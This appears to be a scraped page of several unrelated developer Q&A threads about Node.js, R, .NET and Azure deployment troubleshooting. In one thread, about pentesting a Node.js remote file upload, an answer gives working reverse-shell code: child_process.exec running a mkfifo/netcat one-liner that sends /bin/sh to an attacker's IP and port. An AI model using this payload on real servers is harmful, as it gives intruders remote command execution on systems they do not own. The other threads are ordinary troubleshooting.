Rscript and Nodejs integration on Ubuntu Server - node.js

I am trying to build a node js app in which i call rscript to do some statistical computation and return an array with 8 elements which then i pass back to nodejs so that we can display those elements on ejs pages .
I am successfully able to do this on local host everything is working fine and even rscript is running and giving back the output, but when we try to do the same on ubuntu server we are not getiing any console.log(out) on our terminal (out is the variable which gets the output from the rscript) we get a null.
We are calling the script in localhost and server in same way as shown.
`console.log(data);
var out = rscript(abc.R)
.data(data.xyz,data.abc)
.callSync();
console.log(out);`
In the above code we get json in the data variable and it gives log as well both on local and server.
I have installed all the libraries needed like rscirpt inside nodejs using npm and have already installed R and Rstudio on my ubuntu server and installed all the libraries too which are needed to run the rscript.
The rscript is placed in same folder where my index.js is alll the ejs pages are stored in other folder which the node app is able to access and display them too.

You will have to deploy your R script somewhere else and then call that R script using API calls in your node server file.
One of the services that you can use to call rscript as an API in node is Algorithmia. You will just need to follow their instructions and wrap all your code inside a function. It will appear as a sample there, once you create an R project.

Related

Redirecting execution result into a file (Node.js app)

I'm trying to run a js file containing just one simple line:
\\file.js
console.log("a");
And redirect it into a txt file, like this:
node file.js > txt
File gets created but empty. If I execute the file without redirecting stdout, it prints correctly into the console.
If I execute anything else, such as:
echo "a" > txt
It also works.
This reproduces only on one Ubuntu 20.04 instance, hosted by Njal.la. Node installed using snap, v 16.15.1.

Dotnet Core - Get the application's launch path

Question - Is there a better/right way to get the application's launch path?
Setup -
I have a console application that runs in a Linux Debian docker image. I am building the application using the --runtime linux-x64 command line switch and have all the runtime identifiers set appropriately. I was expecting the application to behave the same whether launching it by calling dotnet MyApplication.dll or ./MyApplication but they are not.
Culprit Code -
I have deployed files in a folder below the application directory that I reference so I do the following to get what I consider my launch path. I have read various articles saying this is the correct way to get what I want, and it works depending on how I launch it.
using var processModule = Process.GetCurrentProcess().MainModule;
var basePath = Path.GetDirectoryName(processModule?.FileName);
When launching this using the comand dotnet MyApplication.dll the above codes path is /usr/share/dotnet
When launching this using the command ./MyApplication.dll the path is then /app
I understand why using dotnet would be different as it is the process that is running my code, but again it was unexpected.
Any help here to what I should use given the current environment would be appreciated. Ultimately I need the path where the console application started from as gathered by the application when it starts up.
Thanks for your help.
This code should work:
public static IConfiguration LoadConfiguration()
{
var assemblyDirectory = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
.....
}

NodeJS remote file upload vulnerability

i'm trying to learn NodeJS pentesting process i have a found a remote file upload vulnerability in a Nodejs website ,can i upload a remote shell in NodeJS , like we do in PHP or ASPX and execute command ? can i upload a NodeJS shell.js and execute unix command in the server from this shell ?
Not sure if this is what you're looking for, but if you have the ability to upload a NodeJS script to a server and execute it, then yes, you can run shell commands using child_process.exec (see here for a similar question/answer).
It's possible only if you can "EXECUTE" the file.
But if you can "execute" JavaScript code you could create a reverse shell using this:
(function () {
require("child_process")
.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attackerIP> <attackerPort> >/tmp/f')
})()]
Otherwise if you can't execute the file then you only will see the content of the file:
https://myvulnerablewebsite.com/hack.js

Run NodeJS application without environment variable

I have a node application that I run on a Linux Server (CentOS 6.5) by setting my environment with a bash script
env_nodejs.sh
#!/bin/bash
PATH=$PATH:/opt/nodejs/node-v6.9.4-linux-x64/bin
export PATH
So that I can
# . ./env_nodejs.sh
# node /var/www/html/application/app.js
That all works fine but if I do the following in a separate script
run_app.sh
#!/bin/bash
$COMMAND=/opt/nodejs/node-v6.9.4-linux-x64/bin/node
$SITE=/var/www/html/application/app.js
nohup $COMMAND $SITE > /tmp/nodeapp.log &
This runs the node server and app but with errors that seem to be related to npm
Error: Failed to lookup view "control/users" in views directory "/views"
I have a feeling this is because the environment is not set but is there a way to run it correctly without the environment or to pass additional parameters for the npm location?
It seems like it's trying to find the files in "/views" which is a top level directory in your file system.
If that is the case then it's not PATH but PWD that's in fault here.
Make sure that when you define where to look for the views in your app, instead of saying 'views' or './views' you use path.join(__dirname, 'views') instead.
You first need to require path with: var path = require(path);
Of course this is just my guess as you didn't include any part of your source code that you have problem with.

Compile less files in node.js project on Windows Azure

I have a node.js project that compiles less files to css when I start the app. I do this by modifying the start script in package.json like so:
{
// omitted for brevity
start: { lessc public/stylesheets/styles.less > public/stylesheets/styles.css; node app.js; }
}
This works nicely locally, but not at all on my Windows Azure instance. Either because less needs to be installed globally on the machine for this to work, or because Azure doesn't run npm start. Or both. Either way, I need another solution!
I thought custom deployments was the answer (I'm using git remote deployment) and I tried modifying the deploy.cmd to include
call "lessc public/stylesheets/styles.less > public/stylesheets/styles.css;"
No joy. I even tried
call "%SITE_ROOT%/node_modules/less/bin/lessc %SITE_ROOT%/public/stylesheets/styles.less > %SITE_ROOT%/public/stylesheets/styles.css;
Am I coming at this the wrong way? How can I keep the compiled css files out of my source control and compile them on the server after deployment to Azure?
Thanks!
OK, I finally have this going, I think.
For some reason, even though the physical file is on the disk (I can see them with my FTP client), Azure is not letting me run lessc in the \node_modules\less\bin folder, but it does let me run the version in the \node_modules\.bin folder.
In the end, I added the following lines to my deploy.cmd file, and it worked!
IF NOT DEFINED LESS_COMPILER (
SET LESS_COMPILER=%DEPLOYMENT_TARGET%\node_modules\.bin\lessc
)
call %LESS_COMPILER% %DEPLOYMENT_TARGET%\public\stylesheets\styles.less > %DEPLOYMENT_TARGET%\public\stylesheets\styles.css

Resources